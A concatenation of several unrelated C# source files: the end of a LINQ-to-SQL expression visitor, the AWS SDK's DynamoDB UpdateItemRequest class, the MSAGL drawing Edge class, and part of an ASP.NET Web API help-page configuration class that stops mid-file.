return base.VisitMemberBindingList(expressions);
}
protected override MemberBinding VisitMemberAssignment(MemberAssignment memberAssigment)
{
if (memberAssigment.Expression.NodeType == ExpressionType.Constant)
return Expression.Bind(memberAssigment.Member, memberAssigment.Expression);
var expression = VisitExpression(memberAssigment.Expression);
SqlExpression.AppendFormat(" AS {0}", memberAssigment.Member.Name);
return Expression.Bind(memberAssigment.Member, expression);
}
protected override Expression VisitConstantExpression(ConstantExpression expression)
{
var value = expression.Value;
var type = value != null ? value.GetType() : expression.Type;
SqlExpression.Append(QueryParts.AddParameter(type, value, Context.CanUseParams));
if ((type == typeof(bool) || type == typeof(bool?)) && (BinaryLevel == 0 && Level == 1 || BinaryLevel + 1 < Level))
SqlExpression.Append(" = 'Y'");
return expression;
}
protected override Expression VisitNewExpression(NewExpression expression)
{
int len = expression.Arguments.Count;
for (int i = 0; i < len; i++)
{
if (i > 0)
SqlExpression.Append(", ");
var arg = expression.Arguments[i];
var memb = expression.Members[i];
VisitExpression(arg);
var name = "\"" + memb.Name + "\"";
if (SqlExpression.Length < name.Length
|| SqlExpression.ToString(SqlExpression.Length - name.Length, name.Length) != name)
SqlExpression.Append(" AS ").Append(name);
}
return Expression.New(expression.Constructor, expression.Arguments);
}
//TODO check with where condition
protected override Expression VisitMethodCallExpression(MethodCallExpression expression)
{
foreach (var candidate in QueryParts.ExpressionMatchers)
if (candidate.TryMatch(expression, SqlExpression, exp => VisitExpression(exp), Context))
return expression;
foreach (var candidate in QueryParts.StaticExpressionMatchers)
if (candidate.TryMatch(expression, SqlExpression, exp => VisitExpression(exp), Context))
return expression;
var attr = expression.Method.GetCustomAttributes(typeof(DatabaseFunctionAttribute), false) as DatabaseFunctionAttribute[];
if (attr != null && attr.Length == 1)
{
var df = attr[0];
try
{
var em = Activator.CreateInstance(df.Call, new object[] { df.Function }) as IExpressionMatcher;
if (em == null)
throw new FrameworkException("DatabaseFunction attribute target is not an " + typeof(IExpressionMatcher).FullName);
if (!em.TryMatch(expression, SqlExpression, exp => VisitExpression(exp), Context))
throw new FrameworkException("DatabaseFunction could not match provided expression.");
return expression;
}
catch (Exception ex)
{
throw new FrameworkException("Error executing DatabaseFunction", ex);
}
}
throw new NotSupportedException(@"Unsupported method call: " + FormattingExpressionTreeVisitor.Format(expression) + @".
Method calls which don't have conversion to sql are available only in select part of query.");
}
protected override Expression VisitSubQueryExpression(SubQueryExpression expression)
{
//TODO select, where?
var subquery = SubqueryGeneratorQueryModelVisitor.ParseSubquery(expression.QueryModel, QueryParts, false, ContextName, Context);
SqlExpression.AppendFormat("({0})", subquery.BuildSqlString(true));
return expression;
}
protected override Expression VisitParameterExpression(ParameterExpression expression)
{
SqlExpression.Append(ContextName).Append('"').Append(expression.Name).Append('"');
return expression;
}
// Called when a LINQ expression type is not handled above.
protected override Exception CreateUnhandledItemException<T>(T unhandledItem, string visitMethod)
{
string itemText = FormatUnhandledItem(unhandledItem);
var message = "The expression '{0}' (type: {1}) is not supported by this LINQ provider.".With(itemText, typeof(T));
return new NotSupportedException(message);
}
private string FormatUnhandledItem<T>(T unhandledItem)
{
var itemAsExpression = unhandledItem as Expression;
return itemAsExpression != null ? FormattingExpressionTreeVisitor.Format(itemAsExpression) : unhandledItem.ToString();
}
}
}
| |
/*
* Copyright 2010-2013 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License").
* You may not use this file except in compliance with the License.
* A copy of the License is located at
*
* http://aws.amazon.com/apache2.0
*
* or in the "license" file accompanying this file. This file is distributed
* on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
* express or implied. See the License for the specific language governing
* permissions and limitations under the License.
*/
using System;
using System.Collections.Generic;
using System.Xml.Serialization;
using System.Text;
using System.IO;
using Amazon.Runtime;
using Amazon.Runtime.Internal;
namespace Amazon.DynamoDBv2.Model
{
/// <summary>
/// Container for the parameters to the UpdateItem operation.
/// <para> Edits an existing item's attributes, or inserts a new item if it does not already exist. You can put, delete, or add attribute
/// values. You can also perform a conditional update (insert a new attribute name-value pair if it doesn't exist, or replace an existing
/// name-value pair if it has certain expected attribute values).</para> <para>In addition to updating an item, you can also return the item's
/// attribute values in the same operation, using the <i>ReturnValues</i> parameter.</para>
/// </summary>
/// <seealso cref="Amazon.DynamoDBv2.AmazonDynamoDB.UpdateItem"/>
public class UpdateItemRequest : AmazonWebServiceRequest
{
private string tableName;
private Dictionary<string,AttributeValue> key = new Dictionary<string,AttributeValue>();
private Dictionary<string,AttributeValueUpdate> attributeUpdates = new Dictionary<string,AttributeValueUpdate>();
private Dictionary<string,ExpectedAttributeValue> expected = new Dictionary<string,ExpectedAttributeValue>();
private string returnValues;
private string returnConsumedCapacity;
private string returnItemCollectionMetrics;
/// <summary>
/// The name of the table containing the item to update.
///
/// <para>
/// <b>Constraints:</b>
/// <list type="definition">
/// <item>
/// <term>Length</term>
/// <description>3 - 255</description>
/// </item>
/// <item>
/// <term>Pattern</term>
/// <description>[a-zA-Z0-9_.-]+</description>
/// </item>
/// </list>
/// </para>
/// </summary>
public string TableName
{
get { return this.tableName; }
set { this.tableName = value; }
}
/// <summary>
/// Sets the TableName property
/// </summary>
/// <param name="tableName">The value to set for the TableName property </param>
/// <returns>this instance</returns>
[Obsolete("The With methods are obsolete and will be removed in version 2 of the AWS SDK for .NET. See http://aws.amazon.com/sdkfornet/#version2 for more information.")]
public UpdateItemRequest WithTableName(string tableName)
{
this.tableName = tableName;
return this;
}
// Check to see if TableName property is set
internal bool IsSetTableName()
{
return this.tableName != null;
}
/// <summary>
/// The primary key that defines the item. Each element consists of an attribute name and a value for that attribute.
///
/// </summary>
public Dictionary<string,AttributeValue> Key
{
get { return this.key; }
set { this.key = value; }
}
/// <summary>
/// Adds the KeyValuePairs to the Key dictionary.
/// </summary>
/// <param name="pairs">The pairs to be added to the Key dictionary.</param>
/// <returns>this instance</returns>
[Obsolete("The With methods are obsolete and will be removed in version 2 of the AWS SDK for .NET. See http://aws.amazon.com/sdkfornet/#version2 for more information.")]
public UpdateItemRequest WithKey(params KeyValuePair<string, AttributeValue>[] pairs)
{
foreach (KeyValuePair<string, AttributeValue> pair in pairs)
{
this.Key[pair.Key] = pair.Value;
}
return this;
}
// Check to see if Key property is set
internal bool IsSetKey()
{
return this.key != null;
}
/// <summary>
/// The names of attributes to be modified, the action to perform on each, and the new value for each. If you are updating an attribute that is
/// an index key attribute for any indexes on that table, the attribute type must match the index key type defined in the
/// <i>AttributesDefinition</i> of the table description. You can use <i>UpdateItem</i> to update any non-key attributes. Attribute values
/// cannot be null. String and binary type attributes must have lengths greater than zero. Set type attributes must not be empty. Requests with
/// empty values will be rejected with a <i>ValidationException</i>. Each <i>AttributeUpdates</i> element consists of an attribute name to
/// modify, along with the following: <ul> <li> <i>Value</i> - The new value, if applicable, for this attribute. </li> <li> <i>Action</i> -
/// Specifies how to perform the update. Valid values for <i>Action</i> are <c>PUT</c>, <c>DELETE</c>, and <c>ADD</c>. The behavior depends on
/// whether the specified primary key already exists in the table. <b>If an item with the specified <i>Key</i> is found in the table:</b> <ul>
/// <li> <c>PUT</c> - Adds the specified attribute to the item. If the attribute already exists, it is replaced by the new value. </li> <li>
/// <c>DELETE</c> - If no value is specified, the attribute and its value are removed from the item. The data type of the specified value must
/// match the existing value's data type. If a <i>set</i> of values is specified, then those values are subtracted from the old set. For
/// example, if the attribute value was the set <c>[a,b,c]</c> and the <i>DELETE</i> action specified <c>[a,c]</c>, then the final attribute
/// value would be <c>[b]</c>. Specifying an empty set is an error. </li> <li> <c>ADD</c> - If the attribute does not already exist, then the
/// attribute and its values are added to the item. If the attribute does exist, then the behavior of <c>ADD</c> depends on the data type of the
/// attribute: <ul> <li> If the existing attribute is a number, and if <i>Value</i> is also a number, then the <i>Value</i> is mathematically
/// added to the existing attribute. If <i>Value</i> is a negative number, then it is subtracted from the existing attribute. <note> If you use
/// <c>ADD</c> to increment or decrement a number value for an item that doesn't exist before the update, Amazon DynamoDB uses 0 as the initial
/// value. In addition, if you use <c>ADD</c> to update an existing item, and intend to increment or decrement an attribute value which does not
/// yet exist, Amazon DynamoDB uses <c>0</c> as the initial value. For example, suppose that the item you want to update does not yet have an
/// attribute named <i>itemcount</i>, but you decide to <c>ADD</c> the number <c>3</c> to this attribute anyway, even though it currently does
/// not exist. Amazon DynamoDB will create the <i>itemcount</i> attribute, set its initial value to <c>0</c>, and finally add <c>3</c> to it.
/// The result will be a new <i>itemcount</i> attribute in the item, with a value of <c>3</c>. </note> </li> <li> If the existing data type is a
/// set, and if the <i>Value</i> is also a set, then the <i>Value</i> is added to the existing set. (This is a <i>set</i> operation, not
/// mathematical addition.) For example, if the attribute value was the set <c>[1,2]</c>, and the <c>ADD</c> action specified <c>[3]</c>, then
/// the final attribute value would be <c>[1,2,3]</c>. An error occurs if an Add action is specified for a set attribute and the attribute type
/// specified does not match the existing set type. Both sets must have the same primitive data type. For example, if the existing data type is
/// a set of strings, the <i>Value</i> must also be a set of strings. The same holds true for number sets and binary sets. </li> </ul> This
/// action is only valid for an existing attribute whose data type is number or is a set. Do not use <c>ADD</c> for any other data types. </li>
/// </ul> <b>If no item with the specified <i>Key</i> is found:</b> <ul> <li> <c>PUT</c> - Amazon DynamoDB creates a new item with the specified
/// primary key, and then adds the attribute. </li> <li> <c>DELETE</c> - Nothing happens; there is no attribute to delete. </li> <li> <c>ADD</c>
/// - Amazon DynamoDB creates an item with the supplied primary key and number (or set of numbers) for the attribute value. The only data types
/// allowed are number and number set; no other data types can be specified. </li> </ul> </li> </ul> If you specify any attributes that are part
/// of an index key, then the data types for those attributes must match those of the schema in the table's attribute definition.
///
/// </summary>
public Dictionary<string,AttributeValueUpdate> AttributeUpdates
{
get { return this.attributeUpdates; }
set { this.attributeUpdates = value; }
}
/// <summary>
/// Adds the KeyValuePairs to the AttributeUpdates dictionary.
/// </summary>
/// <param name="pairs">The pairs to be added to the AttributeUpdates dictionary.</param>
/// <returns>this instance</returns>
[Obsolete("The With methods are obsolete and will be removed in version 2 of the AWS SDK for .NET. See http://aws.amazon.com/sdkfornet/#version2 for more information.")]
public UpdateItemRequest WithAttributeUpdates(params KeyValuePair<string, AttributeValueUpdate>[] pairs)
{
foreach (KeyValuePair<string, AttributeValueUpdate> pair in pairs)
{
this.AttributeUpdates[pair.Key] = pair.Value;
}
return this;
}
// Check to see if AttributeUpdates property is set
internal bool IsSetAttributeUpdates()
{
return this.attributeUpdates != null;
}
/// <summary>
/// A map of attribute/condition pairs. This is the conditional block for the <i>UpdateItem</i> operation. All the conditions must be met for
/// the operation to succeed. <i>Expected</i> allows you to provide an attribute name, and whether or not Amazon DynamoDB should check to see if
/// the attribute value already exists; or if the attribute value exists and has a particular value before changing it. Each item in
/// <i>Expected</i> represents an attribute name for Amazon DynamoDB to check, along with the following: <ul> <li> <i>Value</i> - The attribute
/// value for Amazon DynamoDB to check. </li> <li> <i>Exists</i> - Causes Amazon DynamoDB to evaluate the value before attempting a conditional
/// operation: <ul> <li> If <i>Exists</i> is <c>true</c>, Amazon DynamoDB will check to see if that attribute value already exists in the table.
/// If it is found, then the operation succeeds. If it is not found, the operation fails with a <i>ConditionalCheckFailedException</i>. </li>
/// <li> If <i>Exists</i> is <c>false</c>, Amazon DynamoDB assumes that the attribute value does <i>not</i> exist in the table. If in fact the
/// value does not exist, then the assumption is valid and the operation succeeds. If the value is found, despite the assumption that it does
/// not exist, the operation fails with a <i>ConditionalCheckFailedException</i>. </li> </ul> The default setting for <i>Exists</i> is
/// <c>true</c>. If you supply a <i>Value</i> all by itself, Amazon DynamoDB assumes the attribute exists: You don't have to set <i>Exists</i>
/// to <c>true</c>, because it is implied. Amazon DynamoDB returns a <i>ValidationException</i> if: <ul> <li> <i>Exists</i> is <c>true</c> but
/// there is no <i>Value</i> to check. (You expect a value to exist, but don't specify what that value is.) </li> <li> <i>Exists</i> is
/// <c>false</c> but you also specify a <i>Value</i>. (You cannot expect an attribute to have a value, while also expecting it not to exist.)
/// </li> </ul> </li> </ul> If you specify more than one condition for <i>Exists</i>, then all of the conditions must evaluate to true. (In
/// other words, the conditions are ANDed together.) Otherwise, the conditional operation will fail.
///
/// </summary>
public Dictionary<string,ExpectedAttributeValue> Expected
{
get { return this.expected; }
set { this.expected = value; }
}
/// <summary>
/// Adds the KeyValuePairs to the Expected dictionary.
/// </summary>
/// <param name="pairs">The pairs to be added to the Expected dictionary.</param>
/// <returns>this instance</returns>
[Obsolete("The With methods are obsolete and will be removed in version 2 of the AWS SDK for .NET. See http://aws.amazon.com/sdkfornet/#version2 for more information.")]
public UpdateItemRequest WithExpected(params KeyValuePair<string, ExpectedAttributeValue>[] pairs)
{
foreach (KeyValuePair<string, ExpectedAttributeValue> pair in pairs)
{
this.Expected[pair.Key] = pair.Value;
}
return this;
}
// Check to see if Expected property is set
internal bool IsSetExpected()
{
return this.expected != null;
}
/// <summary>
/// Use <i>ReturnValues</i> if you want to get the item attributes as they appeared either before or after they were updated. For
/// <i>UpdateItem</i>, the valid values are: <ul> <li> <c>NONE</c> - If <i>ReturnValues</i> is not specified, or if its value is <c>NONE</c>,
/// then nothing is returned. (This is the default for <i>ReturnValues</i>.) </li> <li> <c>ALL_OLD</c> - If <i>UpdateItem</i> overwrote an
/// attribute name-value pair, then the content of the old item is returned. </li> <li> <c>UPDATED_OLD</c> - The old versions of only the
/// updated attributes are returned. </li> <li> <c>ALL_NEW</c> - All of the attributes of the new version of the item are returned. </li> <li>
/// <c>UPDATED_NEW</c> - The new versions of only the updated attributes are returned. </li> </ul>
///
/// <para>
/// <b>Constraints:</b>
/// <list type="definition">
/// <item>
/// <term>Allowed Values</term>
/// <description>NONE, ALL_OLD, UPDATED_OLD, ALL_NEW, UPDATED_NEW</description>
/// </item>
/// </list>
/// </para>
/// </summary>
public string ReturnValues
{
get { return this.returnValues; }
set { this.returnValues = value; }
}
/// <summary>
/// Sets the ReturnValues property
/// </summary>
/// <param name="returnValues">The value to set for the ReturnValues property </param>
/// <returns>this instance</returns>
[Obsolete("The With methods are obsolete and will be removed in version 2 of the AWS SDK for .NET. See http://aws.amazon.com/sdkfornet/#version2 for more information.")]
public UpdateItemRequest WithReturnValues(string returnValues)
{
this.returnValues = returnValues;
return this;
}
// Check to see if ReturnValues property is set
internal bool IsSetReturnValues()
{
return this.returnValues != null;
}
/// <summary>
/// If set to <c>TOTAL</c>, <i>ConsumedCapacity</i> is included in the response; if set to <c>NONE</c> (the default), <i>ConsumedCapacity</i> is
/// not included.
///
/// <para>
/// <b>Constraints:</b>
/// <list type="definition">
/// <item>
/// <term>Allowed Values</term>
/// <description>TOTAL, NONE</description>
/// </item>
/// </list>
/// </para>
/// </summary>
public string ReturnConsumedCapacity
{
get { return this.returnConsumedCapacity; }
set { this.returnConsumedCapacity = value; }
}
/// <summary>
/// Sets the ReturnConsumedCapacity property
/// </summary>
/// <param name="returnConsumedCapacity">The value to set for the ReturnConsumedCapacity property </param>
/// <returns>this instance</returns>
[Obsolete("The With methods are obsolete and will be removed in version 2 of the AWS SDK for .NET. See http://aws.amazon.com/sdkfornet/#version2 for more information.")]
public UpdateItemRequest WithReturnConsumedCapacity(string returnConsumedCapacity)
{
this.returnConsumedCapacity = returnConsumedCapacity;
return this;
}
// Check to see if ReturnConsumedCapacity property is set
internal bool IsSetReturnConsumedCapacity()
{
return this.returnConsumedCapacity != null;
}
/// <summary>
/// If set to <c>SIZE</c>, statistics about item collections, if any, that were modified during the operation are returned in the response. If
/// set to <c>NONE</c> (the default), no statistics are returned..
///
/// <para>
/// <b>Constraints:</b>
/// <list type="definition">
/// <item>
/// <term>Allowed Values</term>
/// <description>SIZE, NONE</description>
/// </item>
/// </list>
/// </para>
/// </summary>
public string ReturnItemCollectionMetrics
{
get { return this.returnItemCollectionMetrics; }
set { this.returnItemCollectionMetrics = value; }
}
/// <summary>
/// Sets the ReturnItemCollectionMetrics property
/// </summary>
/// <param name="returnItemCollectionMetrics">The value to set for the ReturnItemCollectionMetrics property </param>
/// <returns>this instance</returns>
[Obsolete("The With methods are obsolete and will be removed in version 2 of the AWS SDK for .NET. See http://aws.amazon.com/sdkfornet/#version2 for more information.")]
public UpdateItemRequest WithReturnItemCollectionMetrics(string returnItemCollectionMetrics)
{
this.returnItemCollectionMetrics = returnItemCollectionMetrics;
return this;
}
// Check to see if ReturnItemCollectionMetrics property is set
internal bool IsSetReturnItemCollectionMetrics()
{
return this.returnItemCollectionMetrics != null;
}
}
}
| |
using System;
using Microsoft.Msagl.Core.Geometry.Curves;
using Microsoft.Msagl.Core.Layout;
using P2=Microsoft.Msagl.Core.Geometry.Point;
using Rectangle = Microsoft.Msagl.Core.Geometry.Rectangle;
namespace Microsoft.Msagl.Drawing {
/// <summary>
/// If this delegate is not null and returns true then no node rendering is done by the viewer, the delegate is supposed to do the job.
/// </summary>
/// <param name="edge"></param>
/// <param name="graphics"></param>
public delegate bool DelegateToOverrideEdgeRendering(Edge edge, object graphics);
/// <summary>
/// Edge of Microsoft.Msagl.Drawing
/// </summary>
[Serializable]
public class Edge : DrawingObject, ILabeledObject {
Core.Layout.Edge geometryEdge;
/// <summary>
/// gets and sets the geometry edge
/// </summary>
public Core.Layout.Edge GeometryEdge
{
get { return geometryEdge; }
set { geometryEdge = value; }
}
/// <summary>
/// A delegate to draw node
/// </summary>
DelegateToOverrideEdgeRendering drawEdgeDelegate;
/// <summary>
/// If this delegate is not null and returns true then no node rendering is done
/// </summary>
public DelegateToOverrideEdgeRendering DrawEdgeDelegate {
get { return drawEdgeDelegate; }
set { drawEdgeDelegate = value; }
}
Port sourcePort;
/// <summary>
/// Defines the way the edge connects to the source.
/// The member is used at the moment only when adding an edge to the graph.
/// </summary>
public Port SourcePort {
get { return sourcePort; }
set { sourcePort = value; }
}
Port targetPort;
/// <summary>
/// defines the way the edge connects to the target
/// The member is used at the moment only when adding an edge to the graph.
/// </summary>
public Port TargetPort {
get { return targetPort; }
set { targetPort = value; }
}
Label label;
/// <summary>
/// the label of the object
/// </summary>
public Label Label {
get { return label; }
set { label = value; }
}
/// <summary>
/// a shortcut to edge label
/// </summary>
public string LabelText {
get { return Label == null ? "" : Label.Text; }
set {
if (Label == null)
Label = new Label { Owner = this };
Label.Text = value;
}
}
/// <summary>
/// the edge bounding box
/// </summary>
override public Rectangle BoundingBox {
get {
if (GeometryEdge == null)
return new Rectangle(0, 0, -1, -1);
Rectangle bb = EdgeCurve.BoundingBox;
if (Label != null)
bb.Add(Label.BoundingBox);
if (this.attr.ArrowAtTarget)
bb.Add(ArrowAtTargetPosition);
if (this.attr.ArrowAtSource)
bb.Add(ArrowAtSourcePosition);
return bb;
}
}
EdgeAttr attr;
/// <summary>
/// The edge attribute.
/// </summary>
[System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Attr")]
public EdgeAttr Attr {
get { return attr; }
set { attr = value; }
}
/// <summary>
/// The id of the edge source node.
/// </summary>
string source;
/// <summary>
/// The id of the edge target node
/// </summary>
string target;
/// <summary>
/// source id, label ,target id
/// </summary>
/// <param name="source"> cannot be null</param>
/// <param name="labelText">label can be null</param>
/// <param name="target">cannot be null</param>
public Edge(string source, string labelText, string target) {
if (String.IsNullOrEmpty(source) || String.IsNullOrEmpty(target))
throw new InvalidOperationException("Creating an edge with null or empty source or target IDs");
this.source = source;
this.target = target;
this.attr = new EdgeAttr();
if (!String.IsNullOrEmpty(labelText))
{
Label = new Label(labelText) {Owner = this};
}
}
/// <summary>
/// creates a detached edge
/// </summary>
/// <param name="sourceNode"></param>
/// <param name="targetNode"></param>
/// <param name="connection">controls is the edge will be connected to the graph</param>
public Edge(Node sourceNode, Node targetNode, ConnectionToGraph connection)
: this(sourceNode.Id, null, targetNode.Id) {
this.SourceNode = sourceNode;
this.TargetNode = targetNode;
if (connection == ConnectionToGraph.Connected) {
if (sourceNode == targetNode)
sourceNode.AddSelfEdge(this);
else {
sourceNode.AddOutEdge(this);
targetNode.AddInEdge(this);
}
}
}
/// <summary>
/// Head->Tail->Label.
/// </summary>
/// <returns></returns>
public override string ToString() {
return Utils.Quote(source) + " -> " + Utils.Quote(target) +(Label==null?"":"[" + Label.Text + "]");
}
/// <summary>
/// the edge source node ID
/// </summary>
public string Source {
get { return source; }
}
/// <summary>
/// the edge target node ID
/// </summary>
public string Target {
get { return target; }
}
private Node sourceNode;
/// <summary>
/// the edge source node
/// </summary>
public Node SourceNode {
get { return sourceNode; }
internal set { sourceNode = value; }
}
private Node targetNode;
/// <summary>
/// the edge target node
/// </summary>
public Node TargetNode {
get { return targetNode; }
internal set { targetNode = value; }
}
/// <summary>
/// gets the corresponding geometry edge
/// </summary>
public override GeometryObject GeometryObject {
get { return GeometryEdge; }
set { GeometryEdge=(Core.Layout.Edge)value; }
}
/// <summary>
/// gets and sets the edge curve
/// </summary>
public ICurve EdgeCurve
{
get
{
if (this.GeometryEdge == null)
return null;
return this.GeometryEdge.Curve;
}
set { this.GeometryEdge.Curve = value; }
}
/// <summary>
/// the arrow position
/// </summary>
public P2 ArrowAtTargetPosition
{
get
{
if (this.GeometryEdge == null || this.GeometryEdge.EdgeGeometry.TargetArrowhead == null)
return new P2();
return this.GeometryEdge.EdgeGeometry.TargetArrowhead.TipPosition;
}
set
{
if (this.GeometryEdge.EdgeGeometry != null)
{
if (this.GeometryEdge.EdgeGeometry.TargetArrowhead == null)
{
this.GeometryEdge.EdgeGeometry.TargetArrowhead = new Arrowhead();
}
this.GeometryEdge.EdgeGeometry.TargetArrowhead.TipPosition = value;
}
}
}
/// <summary>
/// the arrow position
/// </summary>
public P2 ArrowAtSourcePosition
{
get
{
if (this.GeometryEdge == null || this.GeometryEdge.EdgeGeometry.SourceArrowhead == null)
return new P2();
return this.GeometryEdge.EdgeGeometry.SourceArrowhead.TipPosition;
}
set
{
if (this.GeometryEdge.EdgeGeometry != null)
{
if (this.GeometryEdge.EdgeGeometry.SourceArrowhead == null)
{
this.GeometryEdge.EdgeGeometry.SourceArrowhead = new Arrowhead();
}
this.GeometryEdge.EdgeGeometry.SourceArrowhead.TipPosition = value;
}
}
}
}
}
| |
using System;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.ComponentModel;
using System.Diagnostics;
using System.Diagnostics.CodeAnalysis;
using System.Globalization;
using System.Linq;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Web.Http;
using System.Web.Http.Controllers;
using System.Web.Http.Description;
using DriveWakeWeb.Areas.HelpPage.ModelDescriptions;
using DriveWakeWeb.Areas.HelpPage.Models;
namespace DriveWakeWeb.Areas.HelpPage
{
public static class HelpPageConfigurationExtensions
{
private const string ApiModelPrefix = "MS_HelpPageApiModel_";
/// <summary>
/// Sets the documentation provider for help page.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="documentationProvider">The documentation provider.</param>
public static void SetDocumentationProvider(this HttpConfiguration config, IDocumentationProvider documentationProvider)
{
config.Services.Replace(typeof(IDocumentationProvider), documentationProvider);
}
/// <summary>
/// Sets the objects that will be used by the formatters to produce sample requests/responses.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="sampleObjects">The sample objects.</param>
public static void SetSampleObjects(this HttpConfiguration config, IDictionary<Type, object> sampleObjects)
{
config.GetHelpPageSampleGenerator().SampleObjects = sampleObjects;
}
/// <summary>
/// Sets the sample request directly for the specified media type and action.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="sample">The sample request.</param>
/// <param name="mediaType">The media type.</param>
/// <param name="controllerName">Name of the controller.</param>
/// <param name="actionName">Name of the action.</param>
public static void SetSampleRequest(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName)
{
config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Request, controllerName, actionName, new[] { "*" }), sample);
}
/// <summary>
/// Sets the sample request directly for the specified media type and action with parameters.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="sample">The sample request.</param>
/// <param name="mediaType">The media type.</param>
/// <param name="controllerName">Name of the controller.</param>
/// <param name="actionName">Name of the action.</param>
/// <param name="parameterNames">The parameter names.</param>
public static void SetSampleRequest(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName, params string[] parameterNames)
{
config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Request, controllerName, actionName, parameterNames), sample);
}
/// <summary>
/// Sets the sample request directly for the specified media type of the action.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="sample">The sample response.</param>
/// <param name="mediaType">The media type.</param>
/// <param name="controllerName">Name of the controller.</param>
/// <param name="actionName">Name of the action.</param>
public static void SetSampleResponse(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName)
{
config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Response, controllerName, actionName, new[] { "*" }), sample);
}
/// <summary>
/// Sets the sample response directly for the specified media type of the action with specific parameters.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="sample">The sample response.</param>
/// <param name="mediaType">The media type.</param>
/// <param name="controllerName">Name of the controller.</param>
/// <param name="actionName">Name of the action.</param>
/// <param name="parameterNames">The parameter names.</param>
public static void SetSampleResponse(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, string controllerName, string actionName, params string[] parameterNames)
{
config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, SampleDirection.Response, controllerName, actionName, parameterNames), sample);
}
/// <summary>
/// Sets the sample directly for all actions with the specified media type.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="sample">The sample.</param>
/// <param name="mediaType">The media type.</param>
public static void SetSampleForMediaType(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType)
{
config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType), sample);
}
/// <summary>
/// Sets the sample directly for all actions with the specified type and media type.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="sample">The sample.</param>
/// <param name="mediaType">The media type.</param>
/// <param name="type">The parameter type or return type of an action.</param>
public static void SetSampleForType(this HttpConfiguration config, object sample, MediaTypeHeaderValue mediaType, Type type)
{
config.GetHelpPageSampleGenerator().ActionSamples.Add(new HelpPageSampleKey(mediaType, type), sample);
}
/// <summary>
/// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> passed to the <see cref="System.Net.Http.HttpRequestMessage"/> in an action.
/// The help page will use this information to produce more accurate request samples.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="type">The type.</param>
/// <param name="controllerName">Name of the controller.</param>
/// <param name="actionName">Name of the action.</param>
public static void SetActualRequestType(this HttpConfiguration config, Type type, string controllerName, string actionName)
{
config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Request, controllerName, actionName, new[] { "*" }), type);
}
/// <summary>
/// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> passed to the <see cref="System.Net.Http.HttpRequestMessage"/> in an action.
/// The help page will use this information to produce more accurate request samples.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="type">The type.</param>
/// <param name="controllerName">Name of the controller.</param>
/// <param name="actionName">Name of the action.</param>
/// <param name="parameterNames">The parameter names.</param>
public static void SetActualRequestType(this HttpConfiguration config, Type type, string controllerName, string actionName, params string[] parameterNames)
{
config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Request, controllerName, actionName, parameterNames), type);
}
/// <summary>
/// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> returned as part of the <see cref="System.Net.Http.HttpRequestMessage"/> in an action.
/// The help page will use this information to produce more accurate response samples.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="type">The type.</param>
/// <param name="controllerName">Name of the controller.</param>
/// <param name="actionName">Name of the action.</param>
public static void SetActualResponseType(this HttpConfiguration config, Type type, string controllerName, string actionName)
{
config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Response, controllerName, actionName, new[] { "*" }), type);
}
/// <summary>
/// Specifies the actual type of <see cref="System.Net.Http.ObjectContent{T}"/> returned as part of the <see cref="System.Net.Http.HttpRequestMessage"/> in an action.
/// The help page will use this information to produce more accurate response samples.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <param name="type">The type.</param>
/// <param name="controllerName">Name of the controller.</param>
/// <param name="actionName">Name of the action.</param>
/// <param name="parameterNames">The parameter names.</param>
public static void SetActualResponseType(this HttpConfiguration config, Type type, string controllerName, string actionName, params string[] parameterNames)
{
config.GetHelpPageSampleGenerator().ActualHttpMessageTypes.Add(new HelpPageSampleKey(SampleDirection.Response, controllerName, actionName, parameterNames), type);
}
/// <summary>
/// Gets the help page sample generator.
/// </summary>
/// <param name="config">The <see cref="HttpConfiguration"/>.</param>
/// <returns>The help page sample generator.</returns>
public static HelpPageSampleGenerator GetHelpPageSampleGenerator(this HttpConfiguration config)
{
return (HelpPageSampleGenerator)config.Properties.GetOrAdd(
typeof(HelpPageSampleGenerator),
k => new HelpPageSampleGenerator());
}
/// <summary>
/// Sets the help page sample generator.
/// </summary>
